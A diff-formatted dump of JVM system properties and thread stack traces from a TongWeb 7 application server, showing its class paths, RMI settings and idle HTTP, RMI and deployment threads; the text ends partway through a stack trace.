+java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
+openejb.version: ${pom.version}
+disableVerCode: true
+java.specification.vendor: Oracle Corporation
+WebserviceCXF.OFF: true
+contentLength.limit: 10000
+jvProfile: true
+java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: http://java.oracle.com/
+tongweb.rmijmx.cbport: 7200
+java.vm.vendor: Oracle Corporation
+common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar"
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
+WebModuleOnly: false
+java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar
+com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl
+tomee.serialization.class.blacklist: -
+com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
+java.vm.specification.name: Java Virtual Machine Specification
+java.vm.specification.version: 1.8
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /opt/tweb7/temp
+xss_apps: console,heimdall
+java.vendor.url.bug: http://bugreport.sun.com/bugreport/
+switchCharacterEncoding: false
+server.loader:
+cdi.passivate: false
+java.rmi.server.hostname: 172.17.0.4
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
+tongweb.jndi.lookup.relaxVersion: false
+user.dir: /opt/tweb7/bin
+ShutdownSocketDisabled: false
+tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/
+useBeanManagerInCompJNDI: false
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+openejb.base: /opt/tweb7
+startup.secure: false
+file.encoding: UTF-8
+persistenceLogSavePath: persistence
+tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
+noBanner: true
+java.specification.version: 1.8
+master.path: /opt/tweb7
+
+===========================================
+
+ThreadStacks:
+"Auto-deploy-timer" #166 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.util.zip.ZipFile.read(Native Method)
+ at java.util.zip.ZipFile.access$1400(ZipFile.java:61)
+ at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:738)
+ at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:753)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at java.io.DataInputStream.readUnsignedShort(DataInputStream.java:338)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:589)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:564)
+ at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160)
+ at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123)
+ at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234)
+ at javax.xml.bind.ContextFinder.find(ContextFinder.java:462)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:717)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:744)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:247)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:123)
+ at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:355)
+ at com.tongweb.deploy.TongWebDeployer.deploy0(TongWebDeployer.java:399)
+ at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:318)
+ at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:278)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:69)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:222)
+ at java.util.TimerThread.mainLoop(Timer.java:555)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"JCA-default-thread-pool-worker-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7a2bb9d
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+
+"http-nio2-8080-exec-6" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@469fb1a6
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"http-nio2-0.0.0.0-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #100 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Reaper" #92 [WAITING] on java.lang.ref.ReferenceQueue$Lock@77931799
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1d19de6d
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"http-nio-5100-exec-8" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(idle)" #96 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a64f4b1
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-29" #137 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552413bb
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@61d55c4
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-8080-Acceptor-0" #103 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@22fe94e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-6" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"IntelligentRouterHealthInfoCollector" #161 [TIMED_WAITING] on java.util.TaskQueue@3fa22d7a
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"JCA-default-thread-pool-worker-6" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"snapshot" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@4aee48fe
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI TCP Accept-7200" #91 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-AsyncTimeout" #102 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-3" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-172.17.0.4" #93 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1807913901.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-1" #40 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+
+"http-nio2-0.0.0.0-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
